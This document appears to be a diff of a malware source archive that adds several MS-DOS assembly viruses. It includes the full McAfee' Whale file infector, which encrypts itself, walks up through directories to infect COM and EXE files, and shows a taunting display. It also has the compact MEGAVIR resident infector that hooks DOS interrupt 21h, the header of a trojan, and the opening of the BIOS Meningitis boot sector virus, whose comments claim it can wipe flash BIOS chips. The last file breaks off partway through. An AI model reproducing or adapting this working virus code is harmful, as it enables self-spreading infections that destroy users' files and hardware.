db i51-i50,i52-i51,i53-i52,i54-i53,i55-i54,i56-i55,i57-i56,i58-i57,i59-i58,i60-i59
|
||||||
|
db i61-i60,i62-i61,i63-i62,i64-i63,i65-i64,i66-i65,i67-i66,i68-i67,i69-i68,i70-i69
|
||||||
|
db i71-i70,i72-i71,i73-i72,i74-i73,i75-i74,i76-i75,i77-i76,i78-i77,i79-i78,i80-i79
|
||||||
|
db i81-i80,i82-i81,i83-i82,i84-i83,i85-i84,i86-i85,i87-i86,i88-i87,i89-i88,i90-i89
|
||||||
|
db i91-i90,i92-i91,i93-i92,i94-i93,i95-i94,i96-i95,i97-i96,i98-i97,i99-i98,i100-i99
|
||||||
|
db i101-i100,i102-i101,i103-i102,i104-i103,i105-i104,i106-i105,i107-i106,i108-i107,i109-i108,i110-i109
|
||||||
|
db i111-i110,i112-i111,i113-i112,i114-i113,i115-i114,i116-i115,i117-i116,i118-i117,i119-i118,i120-i119
|
||||||
|
db i121-i120,i122-i121,i123-i122,i124-i123,i125-i124,i126-i125,i127-i126,i128-i127,i129-i128,i130-i129
|
||||||
|
db i131-i130,i132-i131,i133-i132,i134-i133,i135-i134,i136-i135,i137-i136,i138-i137,i139-i138,i140-i139
|
||||||
|
db i141-i140,i142-i141,i143-i142,i144-i143,i145-i144,i146-i145,i147-i146,i148-i147,i149-i148,i150-i149
|
||||||
|
db i151-i150,i152-i151,i153-i152,i154-i153,i155-i154,i156-i155,i157-i156,i158-i157,i159-i158,i160-i159
|
||||||
|
db i161-i160,i162-i161,i163-i162,i164-i163,i165-i164,i166-i165,i167-i166,i168-i167,i169-i168,i170-i169
|
||||||
|
db i171-i170,i172-i171,i173-i172,i174-i173,i175-i174,i176-i175,i177-i176,i178-i177,i179-i178,i180-i179
|
||||||
|
db i181-i180,i182-i181,i183-i182,i184-i183,i185-i184,i186-i185,i187-i186,i188-i187,i189-i188,i190-i189
|
||||||
|
db i191-i190,i192-i191,i193-i192,i194-i193,i195-i194,i196-i195,i197-i196,i198-i197,i199-i198,i200-i199
|
||||||
|
db i201-i200,i202-i201,i203-i202,i204-i203,i205-i204,i206-i205,i207-i206,i208-i207,i209-i208,i210-i209
|
||||||
|
db i211-i210,i212-i211,i213-i212,i214-i213,i215-i214,i216-i215,i217-i216,i218-i217,i219-i218,i220-i219
|
||||||
|
db i221-i220,i222-i221,i223-i222,i224-i223,i225-i224,i226-i225,i227-i226,i228-i227,i229-i228,i230-i229
|
||||||
|
db i231-i230,i232-i231,i233-i232,i234-i233,i235-i234,i236-i235,i237-i236,i238-i237,i239-i238,i240-i239
|
||||||
|
db i241-i240,i242-i241,i243-i242,i244-i243,i245-i244,i246-i245,i247-i246,i248-i247,i249-i248,i250-i249
|
||||||
|
db i251-i250,i252-i251,i253-i252,i254-i253,i255-i254,i256-i255,i257-i256,i258-i257,i259-i258,i260-i259
|
||||||
|
db i261-i260,i262-i261,i263-i262,i264-i263,i265-i264,i266-i265,i267-i266,i268-i267,i269-i268,i270-i269
|
||||||
|
db i271-i270,i272-i271,i273-i272,i274-i273,i275-i274,i276-i275,i277-i276,i278-i277,i279-i278,i280-i279
|
||||||
|
db i281-i280,i282-i281,i283-i282,i284-i283,0;i285-i284,i286-i285,i287-i286,i288-i287,i289-i288,i290-i289
|
||||||
|
;db i291-i290,i292-i291,i293-i292,i294-i293,i295-i294,i296-i295,i297-i296,i298-i297,i299-i298,i300-i299
|
||||||
|
;db i301-i300,i302-i301,i303-i302,i304-i303,i305-i304,i306-i305,i307-i306,i308-i307,i309-i308,i310-i309
|
||||||
|
EndData:
|
||||||
|
; Official data.
|
||||||
|
RSeed dw ?
|
||||||
|
RValue dw ?
|
||||||
|
FileHandle dw ?
|
||||||
|
OldCryptMov dw ?
|
||||||
|
OldCryptChg dw ?
|
||||||
|
Code db LengthVirus dup(?)
|
||||||
|
AddrTab db 0B00h dup(?)
|
||||||
|
JumpTab db 300h dup(?)
|
||||||
|
end start
|
||||||
@@ -0,0 +1,507 @@
|
|||||||
|
; McWhale.asm : [McAfee' Whale] by [pAgE]
|
||||||
|
; Created wik the Phalcon/Skism Mass-Produced Code Generator
|
||||||
|
; from the configuration file skeleton.cfg
|
||||||
|
;
|
||||||
|
; Here's another "lame dick" virus! I thought it was rather fitting!
|
||||||
|
; Many thanks to the fellows at Phalcon/Skism for this little tool.
|
||||||
|
; I am sure that Dark Angel and the bunch are not stopping here, but
|
||||||
|
; will come up with another innovation in Vx production...
|
||||||
|
;
|
||||||
|
; I have set this file to activate at a 40% chance on any day. Feel free
|
||||||
|
; to modify this program as you see fit or keep it as a novelty in its
|
||||||
|
; original form.
|
||||||
|
|
||||||
|
|
||||||
|
.model tiny ; Handy directive
|
||||||
|
.code ; Virus code segment
|
||||||
|
org 100h ; COM file starting IP
|
||||||
|
|
||||||
|
id = 'MO' ; ID word for EXE infections
|
||||||
|
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||||
|
|
||||||
|
decrypt: ; handles encryption and decryption
|
||||||
|
mov bx,(offset heap - offset startencrypt)/2 ; iterations
|
||||||
|
patch_startencrypt:
|
||||||
|
mov si,offset startencrypt ; start of decryption
|
||||||
|
decrypt_loop:
|
||||||
|
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
|
||||||
|
decrypt_value dw 0 ; initialised at zero for null effect
|
||||||
|
inc si ; calculate new decryption location
|
||||||
|
inc si
|
||||||
|
dec bx ; If we are not done, then
|
||||||
|
jnz decrypt_loop ; decrypt mo'
|
||||||
|
startencrypt:
|
||||||
|
call next ; calculate delta offset
|
||||||
|
next: pop bp ; bp = IP next
|
||||||
|
sub bp,offset next ; bp = delta offset
|
||||||
|
|
||||||
|
cmp sp,id ; COM or EXE?
|
||||||
|
je restoreEXE
|
||||||
|
restoreCOM:
|
||||||
|
lea si,[bp+save3]
|
||||||
|
mov di,100h
|
||||||
|
push di ; For later return
|
||||||
|
movsb
|
||||||
|
jmp short restoreEXIT
|
||||||
|
restoreEXE:
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
push cs ; DS = CS
|
||||||
|
pop ds
|
||||||
|
push cs ; ES = CS
|
||||||
|
pop es
|
||||||
|
lea si,[bp+jmpsave2]
|
||||||
|
lea di,[bp+jmpsave]
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
movsw
|
||||||
|
restoreEXIT:
|
||||||
|
movsw
|
||||||
|
|
||||||
|
mov byte ptr [bp+numinfec],2 ; reset infection counter
|
||||||
|
|
||||||
|
mov ah,1Ah ; Set new DTA
|
||||||
|
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,47h ; Get current directory
|
||||||
|
mov dl,0 ; Current drive
|
||||||
|
lea si,[bp+origdir] ; DS:SI->buffer
|
||||||
|
int 21h
|
||||||
|
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||||
|
|
||||||
|
mov ax,3524h ; Get int 24 handler
|
||||||
|
int 21h ; to ES:BX
|
||||||
|
mov word ptr [bp+oldint24],bx; Save it
|
||||||
|
mov word ptr [bp+oldint24+2],es
|
||||||
|
mov ah,25h ; Set new int 24 handler
|
||||||
|
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||||
|
int 21h
|
||||||
|
push cs ; Restore ES
|
||||||
|
pop es ; 'cuz it was changed
|
||||||
|
|
||||||
|
dir_scan: ; "dot dot" traversal
|
||||||
|
lea dx,[bp+exe_mask]
|
||||||
|
call infect_mask
|
||||||
|
lea dx,[bp+com_mask]
|
||||||
|
call infect_mask
|
||||||
|
mov ah,3bh ; change directory
|
||||||
|
lea dx,[bp+dot_dot] ; "cd .."
|
||||||
|
int 21h
|
||||||
|
jnc dir_scan ; go back for mo!
|
||||||
|
|
||||||
|
done_infections:
|
||||||
|
mov ah,2ah ; Get current date
|
||||||
|
int 21h ;
|
||||||
|
;cmp dh,4 ; Check month
|
||||||
|
;jb exit_virus ;
|
||||||
|
;cmp dl,15 ; Check date
|
||||||
|
;jnz exit_virus ;
|
||||||
|
|
||||||
|
;mov ah,2ch ; Get current time
|
||||||
|
;int 21h
|
||||||
|
cmp dl,40 ; Check the percentage
|
||||||
|
jbe activate
|
||||||
|
|
||||||
|
exit_virus:
|
||||||
|
mov ax,2524h ; Restore int 24 handler
|
||||||
|
lds dx,[bp+offset oldint24] ; to original
|
||||||
|
int 21h
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ah,3bh ; change directory
|
||||||
|
lea dx,[bp+origdir-1] ; original directory
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,1ah ; restore DTA to default
|
||||||
|
mov dx,80h ; DTA in PSP
|
||||||
|
cmp sp,id-4 ; EXE or COM?
|
||||||
|
jz returnEXE
|
||||||
|
returnCOM:
|
||||||
|
int 21h
|
||||||
|
retn ; 100h is on stack
|
||||||
|
returnEXE:
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
int 21h
|
||||||
|
mov ax,es ; AX = PSP segment
|
||||||
|
add ax,10h ; Adjust for PSP
|
||||||
|
add word ptr cs:[bp+jmpsave+2],ax
|
||||||
|
add ax,word ptr cs:[bp+stacksave+2]
|
||||||
|
cli ; Clear intrpts for stack manipulation
|
||||||
|
mov sp,word ptr cs:[bp+stacksave]
|
||||||
|
mov ss,ax
|
||||||
|
sti
|
||||||
|
db 0eah ; jmp ssss:oooo
|
||||||
|
jmpsave dd ? ; Original CS:IP
|
||||||
|
stacksave dd ? ; Original SS:SP
|
||||||
|
jmpsave2 db ? ; Actually four bytes
|
||||||
|
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||||
|
stacksave2 dd ?
|
||||||
|
|
||||||
|
activate proc far
|
||||||
|
|
||||||
|
start:
|
||||||
|
jmp loc_1
|
||||||
|
data_1 db 0
|
||||||
|
data_2 dw 0
|
||||||
|
db 62h, 79h
|
||||||
|
db ' ABRAXAS - '
|
||||||
|
copyright db '(c) 1992 Abraxas Warez.'
|
||||||
|
db '.....................................BEWARE!!!............'
|
||||||
|
db '....................'
|
||||||
|
data_5 db 'Anti-Virus.....Man.....John.....McAfee.....wrote'
|
||||||
|
db '.....the.....WHALE.....virus!!!'
|
||||||
|
db '..............................HONEST!!!....................................$'
|
||||||
|
loc_1:
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
mov si,80h
|
||||||
|
cld ; Clear direction
|
||||||
|
call sub_1
|
||||||
|
cmp byte ptr [si],0Dh
|
||||||
|
je loc_4 ; Jump if equal
|
||||||
|
mov cx,28h
|
||||||
|
lea di,data_5 ; ('Attention: Please press ') Load ef
|
||||||
|
locloop_2:
|
||||||
|
lodsb ; String [si] to al
|
||||||
|
cmp al,0Dh
|
||||||
|
je loc_3 ; Jump if equal
|
||||||
|
stosb ; Store al to es:[di]
|
||||||
|
loop locloop_2 ; Loop if cx > 0
|
||||||
|
loc_3:
|
||||||
|
inc cx
|
||||||
|
mov al,2Eh ; '.'
|
||||||
|
rep stosb ; Rep when cx >0 Store al to es:[di]
|
||||||
|
loc_4:
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
mov ah,3
|
||||||
|
mov bh,0
|
||||||
|
int 10h ; Video display ah=functn 03h
|
||||||
|
; get cursor loc in dx, mode cx
|
||||||
|
|
||||||
|
mov data_2,cx
|
||||||
|
mov ah,1
|
||||||
|
mov cx,0F00h
|
||||||
|
int 10h ; Video display ah=functn 01h
|
||||||
|
; set cursor mode in cx
|
||||||
|
mov ah,2
|
||||||
|
mov dh,18h
|
||||||
|
mov dl,13h
|
||||||
|
int 10h ; Video display ah=functn 02h
|
||||||
|
; set cursor location in dx
|
||||||
|
loc_5:
|
||||||
|
mov data_1,0FFh
|
||||||
|
loc_6:
|
||||||
|
add data_1,1
|
||||||
|
mov bl,data_1
|
||||||
|
mov bh,0
|
||||||
|
mov cx,27h
|
||||||
|
call sub_2
|
||||||
|
|
||||||
|
locloop_7:
|
||||||
|
mov al,byte ptr copyright+20h[bx] ; ('.')
|
||||||
|
mov ah,0Eh
|
||||||
|
int 10h ; Video display ah=functn 0Eh
|
||||||
|
; write char al, teletype mode
|
||||||
|
inc bx
|
||||||
|
call sub_3
|
||||||
|
mov dl,0FFh
|
||||||
|
mov ah,6
|
||||||
|
int 21h ; DOS Services ah=function 06h
|
||||||
|
; special char i/o, dl=subfunc
|
||||||
|
jnz loc_10 ; Jump if not zero
|
||||||
|
loop locloop_7 ; Loop if cx > 0
|
||||||
|
|
||||||
|
cmp byte ptr copyright+20h[bx],24h ; ('.') '$'
|
||||||
|
je loc_5 ; Jump if equal
|
||||||
|
jmp short loc_6
|
||||||
|
|
||||||
|
activate endp
|
||||||
|
|
||||||
|
sub_1 proc near
|
||||||
|
loc_8:
|
||||||
|
inc si
|
||||||
|
cmp byte ptr [si],20h ; ' '
|
||||||
|
je loc_8 ; Jump if equal
|
||||||
|
retn
|
||||||
|
sub_1 endp
|
||||||
|
|
||||||
|
sub_2 proc near
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
mov dx,si
|
||||||
|
mov cx,di
|
||||||
|
mov al,4
|
||||||
|
mov ah,0ch
|
||||||
|
int 10h
|
||||||
|
mov ah,2
|
||||||
|
mov dh,8h
|
||||||
|
mov dl,14h
|
||||||
|
mov cx,30
|
||||||
|
int 10h ; Video display ah=functn 02h
|
||||||
|
mov ah,10h
|
||||||
|
mov al,0
|
||||||
|
mov bl,4
|
||||||
|
mov bh,63
|
||||||
|
int 10h
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
retn
|
||||||
|
sub_2 endp
|
||||||
|
|
||||||
|
sub_3 proc near
|
||||||
|
push cx
|
||||||
|
mov cx,258h
|
||||||
|
locloop_9:
|
||||||
|
loop locloop_9 ; Loop if cx > 0
|
||||||
|
pop cx
|
||||||
|
retn
|
||||||
|
sub_3 endp
|
||||||
|
|
||||||
|
loc_10:
|
||||||
|
call sub_2
|
||||||
|
mov cx,4Fh
|
||||||
|
locloop_11:
|
||||||
|
mov al,20h ; ' '
|
||||||
|
mov ah,0Eh
|
||||||
|
int 10h ; Video display ah=functn 0Eh
|
||||||
|
; write char al, teletype mode
|
||||||
|
loop locloop_11 ; Loop if cx > 0
|
||||||
|
|
||||||
|
mov ah,1
|
||||||
|
mov cx,data_2
|
||||||
|
int 10h ; Video display ah=functn 01h
|
||||||
|
int 20h ; DOS program terminate
|
||||||
|
jmp exit_virus
|
||||||
|
|
||||||
|
creator db '[MPC]',0 ; BIG SIGN!!!
|
||||||
|
virusname db "[McAfee' Whale]",0 ; That's it!!
|
||||||
|
author db '[pAgE]',0 ; Nah! Not me!<g>
|
||||||
|
|
||||||
|
infect_mask:
|
||||||
|
mov ah,4eh ; find first file
|
||||||
|
mov cx,7 ; any attribute
|
||||||
|
findfirstnext:
|
||||||
|
int 21h ; DS:DX points to mask
|
||||||
|
jc exit_infect_mask ; No mo files found
|
||||||
|
|
||||||
|
mov al,0h ; Open read only
|
||||||
|
call open
|
||||||
|
|
||||||
|
mov ah,3fh ; Read file to buffer
|
||||||
|
lea dx,[bp+buffer] ; @ DS:DX
|
||||||
|
mov cx,1Ah ; 1Ah bytes
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3eh ; Close file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp word ptr [bp+buffer],'ZM'; EXE?
|
||||||
|
jz checkEXE ; Why yes, yes it is!
|
||||||
|
checkCOM:
|
||||||
|
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
|
||||||
|
cmp ax,'DN' ; Ends in ND? (commaND)
|
||||||
|
jz find_next
|
||||||
|
|
||||||
|
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||||
|
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||||
|
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||||
|
cmp ax,bx
|
||||||
|
je find_next ; already infected
|
||||||
|
jmp infect_com
|
||||||
|
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||||||
|
jnz infect_exe
|
||||||
|
find_next:
|
||||||
|
mov ah,4fh ; find next file
|
||||||
|
jmp short findfirstnext
|
||||||
|
exit_infect_mask: ret
|
||||||
|
|
||||||
|
infect_exe:
|
||||||
|
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||||||
|
mov word ptr [bp+jmpsave2], ax
|
||||||
|
mov word ptr [bp+jmpsave2+2], es
|
||||||
|
|
||||||
|
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||||||
|
mov word ptr [bp+stacksave2], es
|
||||||
|
mov word ptr [bp+stacksave2+2], ax
|
||||||
|
|
||||||
|
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||||||
|
mov cl, 4 ; convert to bytes
|
||||||
|
shl ax, cl
|
||||||
|
xchg ax, bx
|
||||||
|
|
||||||
|
les ax, [bp+offset newDTA+26]; Get file size
|
||||||
|
mov dx, es ; to DX:AX
|
||||||
|
push ax
|
||||||
|
push dx
|
||||||
|
|
||||||
|
sub ax, bx ; Subtract header size from
|
||||||
|
sbb dx, 0 ; file size
|
||||||
|
|
||||||
|
mov cx, 10h ; Convert to segment:offset
|
||||||
|
div cx ; form
|
||||||
|
|
||||||
|
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||||||
|
mov word ptr [bp+buffer+16h], ax
|
||||||
|
|
||||||
|
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||||||
|
mov word ptr [bp+buffer+10h], id
|
||||||
|
|
||||||
|
pop dx ; get file length
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
add ax, heap-decrypt ; add virus size
|
||||||
|
adc dx, 0
|
||||||
|
|
||||||
|
mov cl, 9
|
||||||
|
push ax
|
||||||
|
shr ax, cl
|
||||||
|
ror dx, cl
|
||||||
|
stc
|
||||||
|
adc dx, ax
|
||||||
|
pop ax
|
||||||
|
and ah, 1 ; mod 512
|
||||||
|
|
||||||
|
mov word ptr [bp+buffer+4], dx ; new file size
|
||||||
|
mov word ptr [bp+buffer+2], ax
|
||||||
|
|
||||||
|
push cs ; restore ES
|
||||||
|
pop es
|
||||||
|
|
||||||
|
push word ptr [bp+buffer+14h] ; needed later
|
||||||
|
mov cx, 1ah
|
||||||
|
jmp short finishinfection
|
||||||
|
infect_com: ; ax = filesize
|
||||||
|
mov cx,3
|
||||||
|
sub ax,cx
|
||||||
|
lea si,[bp+offset buffer]
|
||||||
|
lea di,[bp+offset save3]
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
mov byte ptr [si-3],0e9h
|
||||||
|
mov word ptr [si-2],ax
|
||||||
|
add ax,103h
|
||||||
|
push ax ; needed later
|
||||||
|
finishinfection:
|
||||||
|
push cx ; Save # bytes to write
|
||||||
|
xor cx,cx ; Clear attributes
|
||||||
|
call attributes ; Set file attributes
|
||||||
|
|
||||||
|
mov al,2
|
||||||
|
call open
|
||||||
|
|
||||||
|
mov ah,40h ; Write to file
|
||||||
|
lea dx,[bp+buffer] ; Write from buffer
|
||||||
|
pop cx ; cx bytes
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax,4202h ; Move file pointer
|
||||||
|
xor cx,cx ; to end of file
|
||||||
|
cwd ; xor dx,dx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,2ch ; Get current time
|
||||||
|
int 21h ; dh=sec,dl=1/100 sec
|
||||||
|
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||||
|
lea di,[bp+code_store]
|
||||||
|
mov ax,5355h ; push bp,push bx
|
||||||
|
stosw
|
||||||
|
lea si,[bp+decrypt] ; Copy encryption function
|
||||||
|
mov cx,startencrypt-decrypt ; Bytes to move
|
||||||
|
push si ; Save for later use
|
||||||
|
push cx
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
|
||||||
|
|
||||||
|
lea si,[bp+write] ; Copy writing function
|
||||||
|
mov cx,endwrite-write ; Bytes to move
|
||||||
|
rep movsb
|
||||||
|
pop cx
|
||||||
|
pop si
|
||||||
|
pop dx ; Entry point of virus
|
||||||
|
push di
|
||||||
|
push si
|
||||||
|
push cx
|
||||||
|
rep movsb ; Copy decryption function
|
||||||
|
mov ax,5b5dh ; pop bx,pop bp
|
||||||
|
stosw
|
||||||
|
mov al,0c3h ; retn
|
||||||
|
stosb
|
||||||
|
|
||||||
|
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||||
|
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||||
|
call code_store ; decryption
|
||||||
|
pop cx
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
rep movsb ; Restore decryption function
|
||||||
|
|
||||||
|
mov ax,5701h ; Restore creation date/time
|
||||||
|
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||||
|
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3eh ; Close file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ch,0
|
||||||
|
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||||
|
call attributes ; attributes
|
||||||
|
|
||||||
|
dec byte ptr [bp+numinfec] ; One mo infection
|
||||||
|
jnz mo_infections ; Not enough
|
||||||
|
pop ax ; remove call from stack
|
||||||
|
jmp done_infections
|
||||||
|
mo_infections: jmp find_next
|
||||||
|
|
||||||
|
open:
|
||||||
|
mov ah,3dh
|
||||||
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||||
|
int 21h
|
||||||
|
xchg ax,bx
|
||||||
|
ret
|
||||||
|
|
||||||
|
attributes:
|
||||||
|
mov ax,4301h ; Set attributes to cx
|
||||||
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||||
|
int 21h
|
||||||
|
ret
|
||||||
|
|
||||||
|
write:
|
||||||
|
pop bx ; Restore file handle
|
||||||
|
pop bp ; Restore relativeness
|
||||||
|
mov ah,40h ; Write to file
|
||||||
|
lea dx,[bp+decrypt] ; Concatenate virus
|
||||||
|
mov cx,heap-decrypt ; # bytes to write
|
||||||
|
int 21h
|
||||||
|
push bx
|
||||||
|
push bp
|
||||||
|
endwrite:
|
||||||
|
|
||||||
|
int24: ; New int 24h (error) handler
|
||||||
|
mov al,3 ; Fail call
|
||||||
|
iret ; Return control
|
||||||
|
|
||||||
|
exe_mask db '*.exe',0
|
||||||
|
com_mask db '*.com',0
|
||||||
|
dot_dot db '..',0
|
||||||
|
heap: ; Variables not in code
|
||||||
|
; The following code is the buffer for the write function
|
||||||
|
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||||
|
oldint24 dd ? ; Storage for old int 24h handler
|
||||||
|
backslash db ?
|
||||||
|
origdir db 64 dup (?) ; Current directory buffer
|
||||||
|
newDTA db 43 dup (?) ; Temporary DTA
|
||||||
|
numinfec db ? ; Infections this run
|
||||||
|
buffer db 1ah dup (?) ; read buffer
|
||||||
|
endheap: ; End of virus
|
||||||
|
end entry_point
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
;******************************************************************************
|
||||||
|
; The High Evolutionary's [MeGaTrOjAn] v1.0
|
||||||
|
;******************************************************************************
|
||||||
|
;
|
||||||
|
; Development Notes: (Dec.12.9O)
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
|
||||||
|
ideal
|
||||||
|
p386
|
||||||
|
model tiny
|
||||||
|
codeseg
|
||||||
|
startupcode
|
||||||
|
|
||||||
|
n_int=len/4+82h
|
||||||
|
|
||||||
|
;MEGAVIR by Mad Daemon @ http://hysteria.sk/maddaemon/
|
||||||
|
|
||||||
|
;Expected values in registers at entry point: bx=0 ch=0
|
||||||
|
;Compile to COM
|
||||||
|
|
||||||
|
call start
|
||||||
|
old_3: int 20h
|
||||||
|
nop
|
||||||
|
start: pop di
|
||||||
|
dec di
|
||||||
|
dec di
|
||||||
|
mov si,[di]
|
||||||
|
dec di
|
||||||
|
push di
|
||||||
|
add si,di
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
shl di,1
|
||||||
|
mov es,bx
|
||||||
|
cmpsb
|
||||||
|
je in_m
|
||||||
|
dec si
|
||||||
|
dec di
|
||||||
|
mov cl,len
|
||||||
|
rep
|
||||||
|
movsb
|
||||||
|
|
||||||
|
mov ax,OFFSET int21+100h
|
||||||
|
cwde
|
||||||
|
xchg eax,[es:84h]
|
||||||
|
stosd
|
||||||
|
in_m: push ds
|
||||||
|
pop es
|
||||||
|
retn
|
||||||
|
|
||||||
|
call0: mov ax,4000h
|
||||||
|
call1: push ax
|
||||||
|
int 21h
|
||||||
|
pop ax
|
||||||
|
mov ah,42h
|
||||||
|
cwd
|
||||||
|
call2: xor cx,cx
|
||||||
|
int 21h
|
||||||
|
mov cl,3
|
||||||
|
mov si,203h
|
||||||
|
mov dx,si
|
||||||
|
retn
|
||||||
|
|
||||||
|
int21: cmp ax,4B00h
|
||||||
|
jne noinf
|
||||||
|
pusha
|
||||||
|
push ds
|
||||||
|
|
||||||
|
mov ax,3D02h
|
||||||
|
call call2
|
||||||
|
xchg bx,ax
|
||||||
|
jc fail
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,3F02h
|
||||||
|
|
||||||
|
call call1
|
||||||
|
xchg bp,ax
|
||||||
|
mov cl,len+3
|
||||||
|
|
||||||
|
lodsb
|
||||||
|
cmp al,'M'
|
||||||
|
je close
|
||||||
|
cmp al,0E8h
|
||||||
|
je close
|
||||||
|
|
||||||
|
call call0
|
||||||
|
|
||||||
|
mov [BYTE si],0E8h
|
||||||
|
mov [WORD si+1],bp
|
||||||
|
call call0
|
||||||
|
|
||||||
|
close: mov ah,3Eh
|
||||||
|
int 21h
|
||||||
|
fail: pop ds
|
||||||
|
popa
|
||||||
|
noinf: ;rept ($-start+1) mod 4
|
||||||
|
;db 90h
|
||||||
|
;endm
|
||||||
|
db 0EAh
|
||||||
|
|
||||||
|
len=$-start
|
||||||
|
end
|
||||||
@@ -0,0 +1,467 @@
|
|||||||
|
;.........................................................................
|
||||||
|
;
|
||||||
|
; -=[ BIOS Meningitis ]=-
|
||||||
|
; Qark/VLAD
|
||||||
|
;
|
||||||
|
;
|
||||||
|
; Basic boot sector virus with a twist.
|
||||||
|
;
|
||||||
|
; The worlds first flash BIOS infecting virus!
|
||||||
|
;
|
||||||
|
; I _just_ fit all this into 512 bytes. Infact there is only four bytes
|
||||||
|
; spare... there wasn't even enough room for the name! It used to copy
|
||||||
|
; the partition table to the end of the virus but that is 64 bytes that
|
||||||
|
; just couldn't spared, so now you if you boot from a floppy disk, the
|
||||||
|
; hard disk won't be accessible. But it's a full stealth virus apart
|
||||||
|
; from that.
|
||||||
|
;
|
||||||
|
; If you have flash BIOS on your computer there is a chance it will fuck
|
||||||
|
; it up! I'm talking wiped BIOS chip type fucked! You WONT be able to
|
||||||
|
; remove this virus!!!
|
||||||
|
;
|
||||||
|
; The results of any tests of this with flash BIOS would be appreciated.
|
||||||
|
;
|
||||||
|
; Assemble with A86 as always.
|
||||||
|
;
|
||||||
|
;.........................................................................
|
||||||
|
|
||||||
|
|
||||||
|
;On entry to the boot sector DL=Drive booted from.
|
||||||
|
|
||||||
|
org 0
|
||||||
|
|
||||||
|
mov si,7c00h
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
|
||||||
|
cli
|
||||||
|
mov ss,ax ;Setup the stack
|
||||||
|
mov sp,si
|
||||||
|
sti
|
||||||
|
|
||||||
|
mov ds,ax ;DS,CS,ES,SS=0
|
||||||
|
|
||||||
|
;*** 40:[13] - memory in k's - reduce by one or so ***
|
||||||
|
|
||||||
|
dec word ptr [413h] ;0:413 = Memory in K, Sub one K.
|
||||||
|
|
||||||
|
int 12h ;Get memory into AX
|
||||||
|
;Since memory is in K we have to
|
||||||
|
;multiply by 1024. To do that we
|
||||||
|
;would SHL AX,10. But because we are
|
||||||
|
;looking for the segment that takes
|
||||||
|
;4 bits off the equation.
|
||||||
|
|
||||||
|
mov cl,6
|
||||||
|
shl ax,cl ;Thus SHL AX,6
|
||||||
|
mov es,ax ;ES = Virus Segment
|
||||||
|
|
||||||
|
|
||||||
|
;*** read virus sector into TOM (top of memory) ***
|
||||||
|
|
||||||
|
xor di,di
|
||||||
|
mov cx,200h
|
||||||
|
cld
|
||||||
|
rep movsb ;Move virus to ES:0
|
||||||
|
|
||||||
|
mov ax,word ptr [13h*4] ;Get int13h from vector table.
|
||||||
|
mov word ptr es:[offset i13],ax
|
||||||
|
mov ax,word ptr [13h*4+2]
|
||||||
|
mov word ptr es:[offset i13+2],ax
|
||||||
|
|
||||||
|
mov word ptr [13h*4],offset handler
|
||||||
|
mov word ptr [13h*4+2],es
|
||||||
|
|
||||||
|
already_resident:
|
||||||
|
|
||||||
|
push es
|
||||||
|
mov ax,offset restart
|
||||||
|
push ax
|
||||||
|
retf
|
||||||
|
|
||||||
|
Restart:
|
||||||
|
;Load the original bootsector from the end of the root directory and
|
||||||
|
;execute it.
|
||||||
|
xor ax,ax
|
||||||
|
call int13h
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov bx,7c00h ;Where it's meant to be.
|
||||||
|
|
||||||
|
mov cx,2 ;Read HD boot strap from MBR.
|
||||||
|
xor dh,dh
|
||||||
|
mov ax,201h ;Read one sector from root directory.
|
||||||
|
cmp dl,80h
|
||||||
|
jae MBR_Loader
|
||||||
|
;load up floppy
|
||||||
|
